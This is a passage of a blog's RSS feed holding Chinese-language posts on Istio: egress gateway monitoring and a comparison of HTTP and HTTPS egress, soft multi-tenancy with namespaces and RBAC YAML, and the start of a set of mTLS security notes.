&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;滚动 Dashboard 到 HTTP 服务部分的 &lt;code&gt;istio-egressgateway.istio-system.svc.cluster.local&lt;/code&gt; 一节。会看到大致如下的显示：&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;img/dashboard-egress-gateway.png&#34; alt=&#34;istio-gresssgateway dashboard&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在左侧 &lt;code&gt;Requests by Source, Version and Response Code&lt;/code&gt; 中，会看到 default 命名空间中的 &lt;code&gt;unknown&lt;/code&gt; 版本的 sleep 应用收到的 404 返回码。运维人员可以据此发现试图访问受控目标的应用。还可以看到在 &lt;code&gt;polictics&lt;/code&gt; 命名空间中 &lt;code&gt;sleep&lt;/code&gt; 应用收到的 200 返回码，这样也就知道了对受控外部资源的有效访问情况。&lt;/p&gt;

&lt;h2 id=&#34;和-https-egress-控制的比较&#34;&gt;和 HTTPS egress 控制的比较&lt;/h2&gt;

&lt;p&gt;这个用例中，应用使用的是 HTTP 和 Istio Egress Gateway 结合提供 TLS 的。换个方式，应用可以自行发送 TLS 请求给 &lt;code&gt;edition.cnn.com&lt;/code&gt;，本节中我们会对两种方式的优劣进行一些比较。&lt;/p&gt;

&lt;p&gt;HTTP 方式中，请求在本地是明文传输，经由 Sidecar 转发给 Egress Gateway 的。如果 Istio 使用双向 TLS 部署，Sidecar 代理和 Egress Gateway 之间的通信就是加密的。Egress Gateway 解密信息，查看 URL 路径，HTTP 方法和 Header，上报监控数据、执行前置检查。如果请求没有被拒绝，Egress Gateway 就会为外部目标执行 TLS 封装，这样请求就会被再次加密，以密文形式发送给外部目标。下图演示了这种方式中的网络流向。图中 Gateway 方块中的 HTTP 标志，代表报文在 Gateway 解密之后变成明文的阶段。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;img/http-to-gateway.svg&#34; alt=&#34;HTTP egress traffic through an egress gateway&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这种方式的缺陷在于，请求在本机是明文传输的，可能会违反某些组织的安全需要。有些 SDK 的外部服务 URL 包含协议部分都是硬编码的，因此发送 HTTP 请求是不可能的。这种办法的好处是可以获取 HTTP 头、方法以及 URL 路径，并可以据此制定规则。&lt;/p&gt;

&lt;p&gt;在 HTTPS 形式下，从应用到外部目标的请求是端到端加密的。下图演示了这种方式的数据流。在 Gateway 中见到的报文，同样还是 HTTPS。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;img/https-to-gateway.svg&#34; alt=&#34;通过 Egress Gateway 的 HTTPS egress 流量&#34; /&gt;&lt;/p&gt;

&lt;p&gt;端到端的 HTTPS 可能是更好的一种加密方式。然而因为流量是加密通过 Istio 代理和 Egress Gateway 的，因此只能看到源和目的的 IP 以及 &lt;a href=&#34;https://en.wikipedia.org/wiki/Server_Name_Indication&#34; target=&#34;_blank&#34;&gt;SNI&lt;/a&gt;。在 Istio 开通双向 TLS 的情况下，&lt;a href=&#34;https://istio.io/docs/concepts/security/mutual-tls/#identity&#34; target=&#34;_blank&#34;&gt;源身份&lt;/a&gt;也是可知的。Gateway 无法获知 HTTP 头、方法以及 URL 路径，因此基于 HTTP 信息的策略就无法实现了。我们的用例中要求可以访问 &lt;code&gt;edition.cnn.com&lt;/code&gt;。如果 Istio 中启用了双向 TLS，组织可以设置部分应用允许访问 &lt;code&gt;edition.cnn.com&lt;/code&gt;。然而却无法允许或禁止访问特定的 URL。对 &lt;code&gt;/politics&lt;/code&gt; 的允许或者禁止，在这种上下文中都是无法实现的。&lt;/p&gt;

&lt;p&gt;我们认为，这样讲解之后，用户就可以对这两种方法进行优劣势的评估，进而做出合适的选择。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;本文中我们展示了 Istio 用 HTTP 访问 Egress 时的监控和策略。其中的监控过程，可以配置日志适配器结合 Istio Dashboard 来完成。而访问策略可以通过配置 &lt;code&gt;VirtualService&lt;/code&gt; 或者配置多种策略适配器来完成。我们演示了一个简单的策略，只允许某些 URL 的访问。我们另外还展示了稍微复杂一些的策略，通过放行指定命名空间中的指定应用，来做出例外。最后，我们比较了两种 HTTPS 过程的优劣，同时也就有不同的控制能力。&lt;/p&gt;

&lt;h2 id=&#34;清理&#34;&gt;清理&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;执行 &lt;a href=&#34;https://istio.io/docs/tasks/traffic-management/egress-gateway/&#34; target=&#34;_blank&#34;&gt;配置 Egress Gateway&lt;/a&gt; 任务中的 &lt;a href=&#34;https://istio.io/docs/tasks/traffic-management/egress-gateway/#cleanup&#34; target=&#34;_blank&#34;&gt;清理&lt;/a&gt;任务。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;删除日志和策略配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;kubectl delete logentry egress-access -n istio-system
kubectl delete stdio egress-error-logger -n istio-system
kubectl delete stdio egress-access-logger -n istio-system
kubectl delete rule handle-politics -n istio-system
kubectl delete rule handle-cnn-access -n istio-system
kubectl delete -n istio-system listchecker path-checker
kubectl delete -n istio-system listentry request-path
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;删除 &lt;code&gt;politics&lt;/code&gt; 命名空间&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;执行&lt;a href=&#34;https://istio.io/docs/tasks/telemetry/using-istio-dashboard/&#34; target=&#34;_blank&#34;&gt;使用 Grafana 进行指标可视化&lt;/a&gt;任务中的&lt;a href=&#34;https://istio.io/docs/tasks/telemetry/using-istio-dashboard/#cleanup&#34; target=&#34;_blank&#34;&gt;清理&lt;/a&gt;环节。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Istio 的软性多租户支持</title>
      <link>/post/soft-multitenancy/</link>
      <pubDate>Fri, 15 Jun 2018 15:20:36 +0800</pubDate>
      <guid>/post/soft-multitenancy/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://istio.io/blog/2018/soft-multitenancy/&#34; target=&#34;_blank&#34;&gt;Istio Soft Multi-tenancy Support&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://github.com/john-a-joyce&#34; target=&#34;_blank&#34;&gt;John Joyce&lt;/a&gt;, &lt;a href=&#34;https://github.com/rcurran1&#34; target=&#34;_blank&#34;&gt;Rich Curran&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;多租户是一个在各种环境和各种应用中都得到了广泛应用的概念，但是不同环境中，为每租户提供的具体实现和功能性都是有差异的。&lt;a href=&#34;https://github.com/kubernetes/community/blob/master/wg-multitenancy/README.md&#34; target=&#34;_blank&#34;&gt;Kubernetes 多租户工作组&lt;/a&gt;致力于在 Kubernetes 中定义多租户用例和功能。然而根据他们的工作进展来看，恶意容器和负载对于其他租户的 Pod 和内核资源的访问无法做到完全控制，因此只有“软性多租户”支持是可行的。&lt;/p&gt;

&lt;h2 id=&#34;软性多租户&#34;&gt;软性多租户&lt;/h2&gt;

&lt;p&gt;文中提到的“软性多租户”的定义指的是单一 Kubernetes 控制平面和多个 Istio 控制平面以及多个服务网格相结合；每个租户都有自己的一个控制平面和一个服务网格。集群管理员对所有 Istio 控制面都有控制和监控的能力，而租户管理员仅能得到指定 Istio 的控制权。使用 Kubernetes 的命名空间和 RBAC 来完成不同租户的隔离。&lt;/p&gt;

&lt;p&gt;这种模式的一个用例就是企业内部共享的基础设施中，虽然预计不会发生恶意行为，但租户之间的清晰隔离仍然是很有必要的。&lt;/p&gt;

&lt;p&gt;在文章最尾部会对 Istio 未来的多租户模型进行一些描述。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：这里仅就在有限多租户环境中部署 Istio 做一些概要描述。当官方多租户支持实现之后，会在&lt;a href=&#34;/docs/&#34;&gt;文档&lt;/a&gt;中具体呈现。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;部署&#34;&gt;部署&lt;/h2&gt;

&lt;h3 id=&#34;多个-istio-控制面&#34;&gt;多个 Istio 控制面&lt;/h3&gt;

&lt;p&gt;要部署多个 Istio 控制面，首先要在 Istio 清单文件中对所有的 &lt;code&gt;namespace&lt;/code&gt; 引用进行替换。以 &lt;code&gt;istio.yaml&lt;/code&gt; （v0.8 中应该是 &lt;code&gt;istio-demo.yaml&lt;/code&gt;） 为例：如果需要两个租户级的 Istio 控制面，那么第一个租户可以使用 &lt;code&gt;istio.yaml&lt;/code&gt; 中的缺省命名空间也就是 &lt;code&gt;istio-system&lt;/code&gt;；而第二个租户就要生成一个新的 Yaml 文件，并在其中使用不同的命名空间。例如使用下面的命令创建一个使用 &lt;code&gt;istio-system1&lt;/code&gt; 命名空间的 Yaml 文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;cat istio.yaml | sed s/istio-system/istio-system1/g &amp;gt; istio-system1.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Istio Yaml 文件包含了 Istio 控制面的部署细节，包含组成控制面的 Pod（Mixer、Pilot、Ingress 以及 CA）。部署这两个控制面 Yaml 文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl apply -f @install/kubernetes/istio.yaml@
kubectl apply -f @install/kubernetes/istio-system1.yaml@
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;会在两个命名空间生成两个 Istio 控制面&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods --all-namespaces
NAMESPACE       NAME                                       READY     STATUS    RESTARTS   AGE
istio-system    istio-ca-ffbb75c6f-98w6x                   1/1       Running   0          15d
istio-system    istio-ingress-68d65fc5c6-dnvfl             1/1       Running   0          15d
istio-system    istio-mixer-5b9f8dffb5-8875r               3/3       Running   0          15d
istio-system    istio-pilot-678fc976c8-b8tv6               2/2       Running   0          15d
istio-system1   istio-ca-5f496fdbcd-lqhlk                  1/1       Running   0          15d
istio-system1   istio-ingress-68d65fc5c6-2vldg             1/1       Running   0          15d
istio-system1   istio-mixer-7d4f7b9968-66z44               3/3       Running   0          15d
istio-system1   istio-pilot-5bb6b7669c-779vb               2/2       Running   0          15d
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果需要 Istio &lt;a href=&#34;/docs/setup/kubernetes/sidecar-injection/&#34;&gt;Sidecar 注入组件&lt;/a&gt;以及&lt;a href=&#34;/docs/tasks/telemetry/&#34;&gt;遥测组件&lt;/a&gt;，也需要根据租户的命名空间定义，修改所需的 Yaml 文件。&lt;/p&gt;

&lt;p&gt;需要由集群管理员、而不是租户自己的管理员来加载这两组 Yaml 文件。另外，要把租户管理员的操作权限限制在各自的命名空间内，还需要额外的 RBAC 配置。&lt;/p&gt;

&lt;h3 id=&#34;区分通用资源和命名空间资源&#34;&gt;区分通用资源和命名空间资源&lt;/h3&gt;

&lt;p&gt;Istio 仓库中的清单文件中会创建两种资源，一种是能够被所有 Istio 控制面访问的通用资源，另一种是每个控制平面一份的专属资源。上面所说的在 Yaml 文件中替换 &lt;code&gt;istio-system&lt;/code&gt; 命名空间的方法自然是很简单的，更好的一种方法就是把 Yaml 文件拆分为两块，一块是所有租户共享的通用部分；另一块就是租户自有的部分。根据 &lt;a href=&#34;https://kubernetes.io/docs/concepts/api-extension/custom-resources/#customresourcedefinitions&#34; target=&#34;_blank&#34;&gt;CRD 资源定义（Custom Resource Definitions）&lt;/a&gt;中的说法，角色和角色绑定资源需要从 Istio 文件中进行剥离。另外，清单文件中提供的角色和角色绑定的定义可能不适合多租户环境，还需要进一步的细化和定制。&lt;/p&gt;

&lt;h3 id=&#34;istio-控制面的-kubernetes-rbac-设置&#34;&gt;Istio 控制面的 Kubernetes RBAC 设置&lt;/h3&gt;

&lt;p&gt;租户管理员应该被限制在单独的 Istio 命名空间中，要完成这个限制，集群管理员需要创建一个清单，其中至少要包含一个 &lt;code&gt;Role&lt;/code&gt; 和 &lt;code&gt;RoleBinding&lt;/code&gt; 的定义，类似下面的文件所示。例子中定义了一个租户管理员，命名为 &lt;code&gt;sales-admin&lt;/code&gt;，他被限制在命名空间 &lt;code&gt;istio-system&lt;/code&gt; 之中。完整的清单中可能要在 &lt;code&gt;Role&lt;/code&gt; 中包含更多的 &lt;code&gt;apiGroups&lt;/code&gt; 条目，来定义租户管理员的资源访问能力。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  namespace: istio-system1
  name: ns-access-for-sales-admin-istio-system1
rules:
- apiGroups: [&amp;quot;&amp;quot;] # &amp;quot;&amp;quot; 代表核心 API 资源组
  resources: [&amp;quot;*&amp;quot;]
  verbs: [&amp;quot;*&amp;quot;]
---
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: access-all-istio-system1
  namespace: istio-system1
subjects:
- kind: User
  name: sales-admin
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: ns-access-for-sales-admin-istio-system1
  apiGroup: rbac.authorization.k8s.io
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;关注特定命名空间进行服务发现&#34;&gt;关注特定命名空间进行服务发现&lt;/h3&gt;

&lt;p&gt;除了创建 RBAC 规则来限制租户管理员只能访问指定 Istio 控制平面之外，Istio 清单还需要为 Istio Pilot 指定一个用于应用程序的命名空间，以便生成 xDS 缓存。Pilot 组件提供了命令行参数 &lt;code&gt;--appNamespace, ns-1&lt;/code&gt; 可以完成这一任务。&lt;code&gt;ns-1&lt;/code&gt; 就是租户用来部署自己应用的命名空间。&lt;code&gt;istio-system1.yaml&lt;/code&gt; 中包含的相关代码大致如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: istio-pilot
  namespace: istio-system1
  annotations:
    sidecar.istio.io/inject: &amp;quot;false&amp;quot;
spec:
  replicas: 1
  template:
    metadata:
      labels:
        istio: pilot
    spec:
      serviceAccountName: istio-pilot-service-account
      containers:
      - name: discovery
        image: docker.io/&amp;lt;user ID&amp;gt;/pilot:&amp;lt;tag&amp;gt;
        imagePullPolicy: IfNotPresent
        args: [&amp;quot;discovery&amp;quot;, &amp;quot;-v&amp;quot;, &amp;quot;2&amp;quot;, &amp;quot;--admission-service&amp;quot;, &amp;quot;istio-pilot&amp;quot;, &amp;quot;--appNamespace&amp;quot;, &amp;quot;ns-1&amp;quot;]
        ports:
        - containerPort: 8080
        - containerPort: 443
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;在特定命名空间中部署租户应用&#34;&gt;在特定命名空间中部署租户应用&lt;/h3&gt;

&lt;p&gt;现在集群管理员已经给租户创建了命名空间（&lt;code&gt;istio-system1&lt;/code&gt;），并且对 Istio Pilot 的服务发现进行了配置，要求它关注应用的命名空间（&lt;code&gt;ns-1&lt;/code&gt;），创建应用的 Yaml 文件，将其部署到租户的专属命名空间中：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Namespace
metadata:
  name: ns-1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后把每个资源的命名空间都指定到 &lt;code&gt;ns-1&lt;/code&gt;，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: details
  labels:
    app: details
  namespace: ns-1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;虽然没有展示出来，但是应用的命名空间也应该有 RBAC 设置，用来对特定资源进行访问控制。集群管理员和租户管理员都有权完成这种 RBAC 限制。&lt;/p&gt;

&lt;h3 id=&#34;在多租户环境中使用-istioctl&#34;&gt;在多租户环境中使用 &lt;code&gt;istioctl&lt;/code&gt;&lt;/h3&gt;

&lt;p&gt;定义&lt;a href=&#34;/docs/reference/config/istio.routing.v1alpha1/#RouteRule&#34;&gt;路由规则&lt;/a&gt;或者&lt;a href=&#34;/docs/reference/config/istio.routing.v1alpha1/#DestinationPolicy&#34;&gt;目标策略&lt;/a&gt;时，要确认 &lt;code&gt;istioctl&lt;/code&gt; 命令是针对专有的 Istio 控制面所在的命名空间运行的。另外规则自身的定义也要限制在租户的命名空间里，这样才能保证规则在租户自己的网格中生效。&lt;code&gt;-i&lt;/code&gt; 选项用来在 Istio 控制面所属的命名空间中创建（get 和 describe 也一样）规则。&lt;code&gt;-n&lt;/code&gt; 参数会限制规则的所在范围是租户的网格，取值就是租户应用所在的命名空间。如果 Yaml 文件中的资源已经指定了范围，&lt;code&gt;-n&lt;/code&gt; 参数会被跳过。&lt;/p&gt;

&lt;p&gt;例如下面的命令会创建到 &lt;code&gt;istio-system1&lt;/code&gt; 命名空间的路由规则：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;istioctl –i istio-system1 create -n ns-1 -f route_rule_v2.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用下面的命令可以查看：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ istioctl -i istio-system1 -n ns-1 get routerule
NAME                  KIND                                  NAMESPACE
details-Default       RouteRule.v1alpha2.config.istio.io    ns-1
productpage-default   RouteRule.v1alpha2.config.istio.io    ns-1
ratings-default       RouteRule.v1alpha2.config.istio.io    ns-1
reviews-default       RouteRule.v1alpha2.config.istio.io    ns-1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&#34;/blog/2018/soft-multitenancy/#multiple-istio-control-planes&#34;&gt;Multiple Istio control planes&lt;/a&gt; 中讲述了更多多租户环境下命名空间的相关问题。&lt;/p&gt;

&lt;h3 id=&#34;测试结果&#34;&gt;测试结果&lt;/h3&gt;

&lt;p&gt;根据前文的介绍，一个集群管理员能够创建一个受限于 RBAC 和命名空间的环境，租户管理员能在其中进行部署。&lt;/p&gt;

&lt;p&gt;完成部署后，租户管理员就可以访问指定的 Istio 控制平面的 Pod 了。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods -n istio-system
NAME                                      READY     STATUS    RESTARTS   AGE
grafana-78d649479f-8pqk9                  1/1       Running   0          1d
istio-ca-ffbb75c6f-98w6x                  1/1       Running   0          1d
istio-ingress-68d65fc5c6-dnvfl            1/1       Running   0          1d
istio-mixer-5b9f8dffb5-8875r              3/3       Running   0          1d
istio-pilot-678fc976c8-b8tv6              2/2       Running   0          1d
istio-sidecar-injector-7587bd559d-5tgk6   1/1       Running   0          1d
prometheus-cf8456855-hdcq7                1/1       Running   0          1d
servicegraph-75ff8f7c95-wcjs7             1/1       Running   0          1d
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然而无法访问全部命名空间的 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods --all-namespaces
Error from server (Forbidden): pods is forbidden: User &amp;quot;dev-admin&amp;quot; cannot list pods at the cluster scope
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;访问其他租户的命名空间也是不可以的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods -n istio-system1
Error from server (Forbidden): pods is forbidden: User &amp;quot;dev-admin&amp;quot; cannot list pods in the namespace &amp;quot;istio-system1&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;租户管理员能够在租户指定的应用命名空间中进行应用部署。例如可以修改一下 &lt;a href=&#34;/docs/guides/bookinfo/&#34;&gt;Bookinfo&lt;/a&gt; 的 Yaml 然后部署到租户的命名空间 &lt;code&gt;ns-0&lt;/code&gt; 中，然后租户管理员就可以在这一命名空间中列出 Pod 了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods -n ns-0
NAME                              READY     STATUS    RESTARTS   AGE
details-v1-64b86cd49-b7rkr        2/2       Running   0          1d
productpage-v1-84f77f8747-rf2mt   2/2       Running   0          1d
ratings-v1-5f46655b57-5b4c5       2/2       Running   0          1d
reviews-v1-ff6bdb95b-pm5lb        2/2       Running   0          1d
reviews-v2-5799558d68-b989t       2/2       Running   0          1d
reviews-v3-58ff7d665b-lw5j9       2/2       Running   0          1d
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;同样也是不能访问其他租户的应用程序命名空间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods -n ns-1
Error from server (Forbidden): pods is forbidden: User &amp;quot;dev-admin&amp;quot; cannot list pods in the namespace &amp;quot;ns-1&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果部署了&lt;a href=&#34;/docs/tasks/telemetry/&#34;&gt;遥测组件&lt;/a&gt;, 例如
&lt;a href=&#34;/docs/tasks/telemetry/querying-metrics/&#34;&gt;prometheus&lt;/a&gt;（限制在 Istio 的 &lt;code&gt;namespace&lt;/code&gt;），其中获得的统计结果展示的也只是租户应用命名空间的私有数据。&lt;/p&gt;

&lt;h2 id=&#34;结语&#34;&gt;结语&lt;/h2&gt;

&lt;p&gt;上面的一些尝试表明 Istio 有足够的能力和安全性，符合少量多租户的用例需求。另外也很明显的，Istio 和 Kubernetes &lt;strong&gt;无法&lt;/strong&gt; 提供足够的能力和安全性来满足其他的用例，尤其是在租户之间要求完全的安全性和隔离的要求的用例。如果容器技术例如 Kubernetes 能够提供更好的安全模型以及隔离能力，我们才能进一步的增强这方面的支持，Istio 的支持并不是很重要。&lt;/p&gt;

&lt;h2 id=&#34;问题&#34;&gt;问题&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;一个租户的 CA(Certificate Authority) 和 Mixer 的 Pod 中产生的 Log 包含了另一个租户的控制面的 &lt;code&gt;info&lt;/code&gt; 信息。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;其他多租户模型的挑战&#34;&gt;其他多租户模型的挑战&lt;/h2&gt;

&lt;p&gt;还有其他值得考虑的多租户部署模型：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;一个网格中运行多个应用程序，每个租户一个应用。集群管理员能控制和监控网格范围内的所有应用，租户管理员只能控制一个特定应用。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;单独的 Istio 控制平面控制多个网格，每个租户一个网格。集群管理员控制和监控整个 Istio 控制面以及所有网格，租户管理员只能控制特定的网格。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;一个云环境（集群控制），多个 Kubernetes 控制面（租户控制）&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这些选项，有的需要改写代码才能支持，有的无法满足用户要求。&lt;/p&gt;

&lt;p&gt;目前的 Istio 能力不适合第一种方案，这是因为其 RBAC 能力无法覆盖这种租户操作。另外在当前的网格模型中，Istio 的配置信息需要传递给 Envoy 代理服务器，多个租户在同一网格内共存的做法非常不安全。&lt;/p&gt;

&lt;p&gt;再看看第二个方式，目前的 Istio 假设每个 Istio 控制面对应一个网格。要支持这种模型需要大量改写。这种情况需要更好的对资源的范围限制进行调整，同时根据命名空间进行安全限制，此外还需要调整 Istio 的 RBAC 模型。这种模式未来可能会支持，但目前来说是不可能的。&lt;/p&gt;

&lt;p&gt;第三个方式对多数案例都是不合适的，毕竟多数集群管理员倾向于将同一个 Kubernetes 控制面作为 &lt;a href=&#34;https://en.wikipedia.org/wiki/Platform_as_a_service&#34; target=&#34;_blank&#34;&gt;PaaS&lt;/a&gt; 提供给他们的租户。&lt;/p&gt;

&lt;h2 id=&#34;未来&#34;&gt;未来&lt;/h2&gt;

&lt;p&gt;很明显，单一 Istio 控制面控制多个网格可能是下一个功能。还有可能就是在同一个网格中支持多个租户，并提供某种程度的隔离和安全保障。要完成这样的能力，就需要像 Kubernetes 中对命名空间的额操作那样，在一个单独的控制平面中进行分区，社区中发出了 &lt;a href=&#34;https://docs.google.com/document/d/14Hb07gSrfVt5KX9qNi7FzzGwB_6WBpAnDpPG6QEEd9Q&#34; target=&#34;_blank&#34;&gt;这篇文档&lt;/a&gt; 来定义其他的用例，以及要支持这些用例所需要的 Istio 功能。&lt;/p&gt;

&lt;h2 id=&#34;参考&#34;&gt;参考&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;视频：Kubernetes 多租户支持 &lt;a href=&#34;https://www.youtube.com/watch?v=ahwCkJGItkU&#34; target=&#34;_blank&#34;&gt;Multi-Tenancy Support &amp;amp; Security Modeling with RBAC and Namespaces&lt;/a&gt;, 以及&lt;a href=&#34;https://schd.ws/hosted_files/kccncna17/21/Multi-tenancy%20Support%20%26%20Security%20Modeling%20with%20RBAC%20and%20Namespaces.pdf&#34; target=&#34;_blank&#34;&gt;幻灯片&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Kubecon 讨论，关于对”协同软性多租户“的支持 &lt;a href=&#34;https://www.youtube.com/watch?v=YRR-kZub0cA&#34; target=&#34;_blank&#34;&gt;Building for Trust: How to Secure Your Kubernetes&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Kubernetes &lt;a href=&#34;https://kubernetes.io/docs/admin/authorization/rbac/&#34; target=&#34;_blank&#34;&gt;RBAC 文档&lt;/a&gt; 以及 &lt;a href=&#34;https://kubernetes.io/docs/tasks/administer-cluster/namespaces-walkthrough/&#34; target=&#34;_blank&#34;&gt;命名空间文档&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Kubecon 幻灯片 &lt;a href=&#34;https://schd.ws/hosted_files/kccncna17/a9/kubecon-multitenancy.pdf&#34; target=&#34;_blank&#34;&gt;Multi-tenancy Deep Dive&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Google 文档 &lt;a href=&#34;https://docs.google.com/document/d/15w1_fesSUZHv-vwjiYa9vN_uyc--PySRoLKTuDhimjc/edit#heading=h.3dawx97e3hz6&#34; target=&#34;_blank&#34;&gt;Multi-tenancy models for Kubernetes&lt;/a&gt;. (需要授权)&lt;/li&gt;
&lt;li&gt;Cloud Foundry 提出的文档：&lt;a href=&#34;https://docs.google.com/document/d/14Hb07gSrfVt5KX9qNi7FzzGwB_6WBpAnDpPG6QEEd9Q&#34; target=&#34;_blank&#34;&gt;Multi-cloud and Multi-tenancy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://docs.google.com/document/d/12F183NIRAwj2hprx-a-51ByLeNqbJxK16X06vwH5OWE/edit#heading=h.x0f9qplja3q&#34; target=&#34;_blank&#34;&gt;Istio Auto Multi-Tenancy 101&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Istio 安全设置笔记</title>
      <link>/post/istio-security-notes/</link>
      <pubDate>Mon, 11 Jun 2018 00:05:25 +0800</pubDate>
      <guid>/post/istio-security-notes/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://istio.io/&#34; target=&#34;_blank&#34;&gt;Istio&lt;/a&gt; 为网格中的微服务提供了较为完善的安全加固功能，在不影响代码的前提下，可以从多个角度提供安全支撑，&lt;a href=&#34;https://istio.io/docs/tasks/security/&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;做了较为详细的介绍，但是也比较破碎，这里尝试做个简介兼索引，实现过程还是要根据官方文档进行。&lt;/p&gt;

&lt;p&gt;Istio 的安全功能主要分为三个部分的实现：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;双向 TLS 支持。&lt;/li&gt;
&lt;li&gt;基于黑白名单的访问控制。&lt;/li&gt;
&lt;li&gt;基于角色的访问控制。&lt;/li&gt;
&lt;li&gt;JWT 认证支持。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;首先回顾一下 Istio 网格中的服务通信过程：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;利用自动或者手工注入，把 Envoy Proxy 注入到每个服务 Pod 中，用 Sidecar 的方式运行。&lt;/li&gt;
&lt;li&gt;Pod 初始化过程里，使用 iptables 劫持所在 Pod 的&lt;strong&gt;出入&lt;/strong&gt;流量。&lt;/li&gt;
&lt;li&gt;服务间的通信，从原来的直接通信，转换为现在的 Envoy 之间通信，Envoy 在这里同时作为客户端和服务端负载均衡组件。&lt;/li&gt;
&lt;li&gt;Envoy 的工作过程中，可能会和 Mixer、Pilot 以及 Citadel 等组件发生互动。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;双向-tls-支持&#34;&gt;双向 TLS 支持&lt;/h2&gt;

&lt;p&gt;双向 TLS 支持主要针对的是通信方面，把明文传输的服务通信，通过转换为 Envoy 之间的加密通信。这一安全设置较为基础，可以在全局、Namespace 或者单个服务的范围内生效。&lt;/p&gt;

&lt;p&gt;这一功能主要通过两个 Istio CRD 对象来完成：&lt;/p&gt;

&lt;h3 id=&#34;policy&#34;&gt;Policy&lt;/h3&gt;

&lt;p&gt;例如 &lt;a href=&#34;https://istio.io/docs/tasks/security/authn-policy/&#34; target=&#34;_blank&#34;&gt;Basic Authentication Policy&lt;/a&gt; 中的一个样例，用于给单个服务设置 mtls：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;authentication.istio.io/v1alpha1&amp;quot;
kind: &amp;quot;Policy&amp;quot;
metadata:
  name: &amp;quot;example-2&amp;quot;
spec:
  targets:
  - name: httpbin
  peers:
  - mtls:
&lt;/code&gt;&lt;/pre&gt;

